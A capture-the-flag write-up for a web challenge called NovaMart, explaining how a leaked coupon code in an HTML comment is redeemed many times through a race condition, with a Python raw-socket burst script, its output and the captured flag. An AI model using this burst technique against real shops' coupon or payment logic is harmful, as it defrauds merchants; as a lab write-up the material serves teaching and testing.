NovaMart!!!

Welcome to NovaMart’s biggest sale event of the year!

The system has already credited $9,900 to your wallet—buy whatever you like.

We plan to release a discount code next week; it can only be used… once. Well, um, it seems so, right?

Connections

  • https://routes-charming-lung-satin.trycloudflare.com

Recon

Opening the challenge URL gives a login screen that asks for nothing but a username. We typed a name, clicked the button, and the site logged us in with no password and dropped us on the shop page.

NovaMart login

The login request is a single POST /login carrying one form field, username, and the response is a 302 to /shop that sets the auth cookie:

set-cookie: session_token=90208f1cdd235c7561ea97fd7f55d76f; HttpOnly; Path=/

The token is a 32-character hex string marked HttpOnly, and the redirect body is Flask’s default “Redirecting…” page, which pins down the stack. One quirk we hit while poking around: fetching / replaces the session with a “Temporary session” and the cookie stops working, so after logging in we never went back to the home page and worked from /shop instead.

The shop page shows a grid with three ordinary products (Iced Milk Coffee $25, Hacker Sticker $10, NovaRun Hoodie $350) and the target item, FLAG (VIP item), at $10,000. The top bar reads “Balance: 9900$”. The cart drawer on the right holds the item list, the coupon input with its Apply button, and a Checkout button, with a small system log line sitting right above Checkout.

The shop grid with the FLAG (VIP item) listed at 10000

Right-clicking the page and choosing View Page Source shows an HTML comment at the top of the document that leaks the discount code ahead of its release window:

<!-- 
  =========================================
  DISCOUNT COUPON FOR 28/7/2026--29/7/2026
  TODO(dev): REMEMBER TO DELETE TEST COUPON BEFORE RELEASE TO PROD!!
  Coupon code: ILOVENVR99
  Notice: Do not leak this outside !!!
  =========================================
-->

The page also pulls in /static/script.js, which maps both buttons to server endpoints. Apply posts the coupon to /apply_coupon and, on success, overwrites the displayed flag price with the flag_price field of the JSON response, so the price lives on the server:

let formData = new FormData();
formData.append("coupon", code);
fetch("/apply_coupon", { method: "POST", body: formData });

Checkout posts to /buy/<item_id> once per cart item, and the client treats the last response as the verdict, popping an alert when the message contains NVR{:

requests.push(
  fetch(`/buy/${id}`, { method: "POST" }).then((res) => res.json()),
);
// ...
if (lastResult.msg.includes("NVR{")) alert(lastResult.msg);

So the flag arrives in the msg of a successful buy response, and the browser shows it as an alert.

Exploitation

What one redemption does

Back in the browser we typed ILOVENVR99 into the coupon box and clicked Apply. The system log answered “Coupon applied successfully!” and the flag price ticked from 10000$ down to 9901$. That is the whole mechanic, the coupon subtracts $99 from the flag item. The JSON behind that response:

{"flag_price":9901,"msg":"Coupon applied successfully!","ok":true}

Clicking Apply a second time answered “Coupon has already been used!”.

After one redemption the flag item shows 9,901, one dollar above the 9,900 balance

After one legal redemption the flag costs $9,901, exactly one dollar above the $9,900 balance. That single dollar is the design of the challenge, one coupon is meant to fall just short. The redemption sequence on the server is evidently “check whether the coupon is used, then mark it used and subtract $99”, and nothing makes that sequence atomic. If several /apply_coupon requests run the check at the same moment, they all see an unused coupon, and every one of them lands its own $99 discount. Two simultaneous winners put the flag at $9,802, already affordable.

Why the first attempt failed

Our first attempt used Python asyncio with an httpx client and 20 concurrent tasks posting the coupon under one session. It produced exactly one success. Concurrency on a single event loop does not mean the requests leave at the same instant: the tasks dispatch in turn, shared connection handling and network jitter spread the 20 arrivals over far more time than the server’s window between the check and the mark, and that window is evidently very narrow. Only one request found the coupon unused, the other 19 lost.

Winning with a raw-socket burst

The fix is to move every slow step out of the critical moment. The second exploit opens 50 independent TLS connections and completes all handshakes first, builds one identical /apply_coupon request, and only then fires that request on all 50 sockets back to back:

def build_coupon_req(token: str) -> bytes:
    body = f"coupon={COUPON}".encode()
    return (
        f"POST /apply_coupon HTTP/1.1\r\nHost: {HOST}\r\n"
        f"Cookie: session_token={token}\r\n"
        f"Content-Type: application/x-www-form-urlencoded\r\n"
        f"Content-Length: {len(body)}\r\n"
        f"Connection: keep-alive\r\n\r\n"
    ).encode() + body


def race(token: str, n: int):
    ctx = ssl.create_default_context()
    socks = []
    req = build_coupon_req(token)
    for _ in range(n):
        s = socket.create_connection((HOST, 443), timeout=30)
        ss = ctx.wrap_socket(s, server_hostname=HOST)
        ss.settimeout(30)
        socks.append(ss)                   # every handshake done up front
    print(f"[*] {n} TLS connections established, firing burst...")
    t0 = time.time()
    for ss in socks:                      # n sendall() calls, one after another
        try:
            ss.sendall(req)
        except Exception as e:
            print(f"  send err: {e}")
    print(f"[*] burst sent in {(time.time() - t0) * 1000:.1f} ms, reading responses...")
    # ... then read one response per socket and count the "ok":true ones

The script logs in with a fresh username first, which costs nothing and gives every round a clean state, runs the burst, re-reads /shop for the live price, and buys once the flag costs at most the balance. One run:

$ python3 race_raw.py 50
[*] token: 7e42033d70523d672bf1f0110a64d84d
[*] 50 TLS connections established, firing burst...
[*] burst sent in 0.4 ms, reading responses...
[*] successes: 20  prices: [8317, 9901, 9208, 9604, 9703, 8812, 9010, 9307, 9802, 9505,
                             9406, 8614, 8515, 9109, 8911, 8416, 8713, 8020, 8119, 8218]
[*] flag_price: 8020  balance: 9900
[!] affordable - buying!

The whole burst leaves the wire in 0.4 ms. The 20 winning responses arrive in random order, but sorted they run 9901, 9802, 9703 down to 8020, each one $99 under the last, and 10000 − 20 × 99 = 8020. Every winner subtracted its own $99 on top of the previous winner, which is the non-atomic check-then-set behaving exactly as reasoned above. The flag sat at $8,020 against a $9,900 balance.

We walked the flow again in the browser to capture the discounted shop, pointing the same burst at that session’s cookie. That round landed 32 winners, and 10000 − 32 × 99 = 6832, which is the price the shop then displayed:

The shop after the burst: the flag item now shows 6,832

Flag capture

In the browser session with the discounted price we clicked the flag card’s Add To Cart button, opened the cart drawer, and gave the numbers one last look before Checkout:

Cart drawer before checkout

Clicking Checkout fires the POST /buy/flag request we had read in script.js. The server answered with ok, and the page rendered the congratulations message in the log line above the Checkout button:

Checkout confirmation

The flag is Vietnamese leetspeak for “I like the coupon race condition”, and the raw buy response reads:

{"msg":"🎉 Congratulations! NVR{T0i_Th1ch_C0up0n_R4c3_C0nd1t10n!}","ok":true}